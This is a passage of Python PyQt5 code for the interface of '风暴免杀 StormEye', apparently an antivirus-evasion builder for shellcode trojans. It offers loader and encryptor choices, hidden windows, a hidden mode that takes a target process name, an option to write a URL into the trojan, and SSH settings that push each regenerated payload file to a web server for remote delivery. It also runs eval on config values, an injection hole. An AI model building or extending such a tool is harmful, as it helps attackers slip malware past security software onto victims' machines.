QLineEdit() 482 | 483 | self.selectFileButton = QPushButton("选择文件") 484 | self.selectFileButton.clicked.connect(self.ChoseFileName) 485 | 486 | # 第三排 487 | self.shellcodeLabel = QLabel("Shellcode 加载器类型:") 488 | self.shellcodeCombo = QComboBox() 489 | self.cryptorLabel = QLabel("加解密器类型:") 490 | self.cryptorCombo = QComboBox() 491 | 492 | self.shellcodeCombo.addItems(self.Getmapping('normal')) 493 | self.cryptorCombo.addItems(self.Getmapping('Encoder')) 494 | 495 | 496 | self.cryptorCombo.activated[str].connect(self.GetCombo) 497 | self.shellcodeCombo.activated[str].connect(self.GetCombo) 498 | 499 | 500 | 501 | # 第四排 502 | self.check64=QCheckBox("64位模式") 503 | 504 | self.hiddenWindow=QCheckBox("隐藏运行时窗口") 505 | self.savePyFile=QCheckBox("保留生成的py文件") 506 | self.urlWriteIn=QCheckBox("URL写入木马") 507 | 508 | self.check64.setChecked(True) 509 | self.urlWriteIn.setChecked(True) 510 | self.urlWriteIn.setHidden(True) 511 | # self.savePyFile.setHidden(True) 512 | 513 | self.check64.clicked.connect(self.GetMethod) 514 | self.hiddenWindow.clicked.connect(self.GetMethod) 515 | self.savePyFile.clicked.connect(self.GetMethod) 516 | self.urlWriteIn.clicked.connect(self.GetMethod) 517 | 518 | 519 | # 第五排 520 | self.ipaddrEdit=QLineEdit() 521 | self.ipaddrLable=QLabel("url地址:") 522 | 523 | 524 | 525 | 526 | 527 | #第7排 描述框 528 | self.tipInfo=QTextEdit(self) 529 | self.tipInfo.setStyleSheet("color: rgba(0, 0, 0, 128);") 530 | self.tipInfo.setReadOnly(True) 531 | self.tipInfo.resize(400,200) 532 | # self.tipInfo.setHidden(True) 533 | self.tipInfo.setFrameStyle(QFrame.Panel|QFrame.Sunken) 534 | # self.tipInfo.setAlignment(Qt.AlignBottom | Qt.AlignRight) 535 | 536 | 537 | 538 | # 布局 539 | self.vbox = QVBoxLayout(self) 540 | 541 | 542 | hbox2 = QHBoxLayout() 543 | hbox2.addWidget(self.localsplit) 544 | hbox2.addWidget(self.networksplit) 545 | self.vbox.addLayout(hbox2) 546 | 547 | hbox1 = QHBoxLayout() 548 | # hbox1.addStretch(1) 549 | hbox1.addWidget(self.fileNameLabel) 550 | hbox1.addWidget(self.fileNameEdit) 551 | hbox1.addWidget(self.selectFileButton) 552 | self.vbox.addLayout(hbox1) 553 | 554 | 555 | 556 | hbox3 = QHBoxLayout() 557 | 558 | hbox3.addWidget(self.shellcodeLabel) 559 | hbox3.addWidget(self.shellcodeCombo) 560 | hbox3.addWidget(self.cryptorLabel) 561 | hbox3.addWidget(self.cryptorCombo) 562 | hbox3.addStretch(1) 563 | self.vbox.addLayout(hbox3) 564 | 565 | hbox4 = QHBoxLayout() 566 | # hbox4.addStretch(1) 567 | hbox4.addWidget(self.check64) 568 | hbox4.addWidget(self.hiddenWindow) 569 | hbox4.addWidget(self.savePyFile) 570 | hbox4.addWidget(self.urlWriteIn) 571 | hbox4.addStretch(1) 572 | self.vbox.addLayout(hbox4) 573 | 574 | 575 | 576 | 577 | hbox5=QHBoxLayout() 578 | # hbox5.addStretch(1) 579 | hbox5.addWidget(self.ipaddrLable) 580 | hbox5.addWidget(self.ipaddrEdit) 581 | self.vbox.addLayout(hbox5) 582 | 583 | hbox0=QHBoxLayout() 584 | hbox0.addStretch(1) 585 | hbox0.addWidget(self.gobtn) 586 | hbox0.addStretch(1) 587 | self.vbox.addLayout(hbox0) 588 | 589 | 590 | self.ipaddrEdit.setHidden(True) 591 | self.ipaddrLable.setHidden(True) 592 | 593 | 594 | 595 | def bottom(self): 596 | hbox7=QHBoxLayout() 597 | hbox7.addWidget(self.tipInfo) 598 | hbox7.setGeometry(QRect(0, 0, 400, 200)) 599 | self.vbox.addLayout(hbox7) 600 | 601 | self.vbox.addStretch(1) 602 | 603 | 604 | def onActivated(self, text): 605 | print('yes') 606 | # self.lbl.setText(text) 607 | # self.lbl.adjustSize() 608 | 609 | 610 | class GeneralWidget(Common): 611 | def __init__(self): 612 | super().__init__() 613 | self.setDefault('normal') 614 | 615 | self.bottom() 616 | 617 | 618 | class HiddenWidget(Common): 619 | def __init__(self): 620 | super().__init__() 621 | self.shellcodeCombo.clear() 622 | self.shellcodeCombo.addItems(self.Getmapping('hidden')) 623 | 624 | #隐匿模式下的第六排 625 | self.targetName=QLabel("目标进程名:") 626 | self.targetEdit=QLineEdit("") 627 | hbox6=QHBoxLayout() 628 | hbox6.addWidget(self.targetName) 629 | hbox6.addWidget(self.targetEdit) 630 | self.vbox.addLayout(hbox6) 631 | 632 | self.setDefault('hidden') 633 | self.changeEachTime() 634 | 635 | 636 | 637 | self.bottom() 638 | 639 | 640 | 641 | class ConfigWidget(QWidget,commonFun): 642 | def __init__(self): 643 | super().__init__() 644 | confDic={ 645 | 'host':'', 646 | 'port':22, 647 | 'username':'root', 648 | 'password':'', 649 | 'remotepath':'/var/www/html', 650 | 'url':'' 651 | } 652 | value=readConfig() 653 | if value: 654 | confDic={ 655 | 'host':value[0], 656 | 'port':value[1], 657 | 'username':value[2], 658 | 'password':value[3], 659 | 'remotepath':value[4], 660 | 'url':value[5] 661 | } 662 | 663 | vbox = QVBoxLayout(self) 664 | n=0 665 | for conf in confDic.keys():#将配置文件中的数据导出并构建组件显示 666 | n+=1 667 | print(f'self.{conf}Lable = QLabel("{conf}:")') 668 | eval(compile(f'self.{conf}Lable = QLabel("{conf}:")','asd','exec')) 669 | eval(compile(f'self.{conf}Edit = QLineEdit("{confDic[conf]}")','asd','exec')) 670 | eval(compile(f'hbox{n} = QHBoxLayout()','asd','exec')) 671 | eval(compile(f'hbox{n}.addWidget(self.{conf}Lable)','asd','exec')) 672 | eval(compile(f'hbox{n}.addWidget(self.{conf}Edit)','asd','exec')) 673 | eval(compile(f'vbox.addLayout(hbox{n})','asd','exec')) 674 | 675 | self.changeConfigbtn=QPushButton('保存配置') 676 | self.testConnectbtn=QPushButton('测试连接') 677 | self.changeConfigbtn.clicked.connect(self.changeConfig) 678 | self.testConnectbtn.clicked.connect(self.testConnect) 679 | 680 | hboxbtn=QHBoxLayout() 681 | hboxbtn.addWidget(self.changeConfigbtn) 682 | hboxbtn.addWidget(self.testConnectbtn) 683 | vbox.addLayout(hboxbtn) 684 | 685 | self.tipInfo=QTextEdit() 686 | self.tipInfo.setPlaceholderText("此处配置web服务器的SSH信息,当使用Shellcode网络分离模式时,由于加解密器会进行随机位移所以每次生成的PayloadFile都不一样,配置SSH后可以自动将最新的PayloadFile同步到自己服务器的remotepath目录(web根目录)") 687 | self.tipInfo.resize(400,200) 688 | hboxText=QHBoxLayout() 689 | hboxText.addWidget(self.tipInfo) 690 | vbox.addLayout(hboxText) 691 | 692 | 693 | 694 | vbox.addStretch(1) 695 | 696 | 697 | class Window(QWidget,commonFun): 698 | def __init__(self): 699 | super().__init__() 700 | self.setWindowTitle('风暴免杀©StormEye') 701 | self.resize(500, 400) 702 | self.setup_ui() 703 | 704 | 705 | def setup_ui(self): 706 | # 创建选项卡 707 | self.tabWidget = QTabWidget(self) 708 | self.tabWidget.resize(500,400) 709 | self.tabWidget.addTab(GeneralWidget(), "普通模式") 710 | self.tabWidget.addTab(HiddenWidget(), "隐匿模式") 711 | self.tabWidget.addTab(ConfigWidget(), "配置") 712 | self.setWindowIcon(QIcon(os.path.dirname(os.path.abspath(__file__))+os.sep+'config'+os.sep+'ico.png')) 713 | 714 | # self.setStyleSheet("border: 1px;") 715 | # self.setFixedSize(500, 300) 716 | self.setAutoFillBackground(True) 717 | 718 | 719 | # 设置主窗口大小 720 | # self.resize(800, 600) 721 | 722 | def center(self): 723 | qr = self.frameGeometry() 724 | cp = QDesktopWidget().availableGeometry().center() 725 | qr.moveCenter(cp) 726 | self.move(qr.topLeft()) 727 | 728 | 729 | def setPane( self,pressed): 730 | source = self.sender() 731 | 732 | if pressed: 733 | val = 255 734 | else: val = 0 735 | print('click') 736 | 737 | 738 | 739 | 740 | if __name__ == '__main__': 741 | app = QApplication(sys.argv) 742 | window = Window() 743 | window.show() 744 | sys.exit(app.exec_()) --------------------------------------------------------------------------------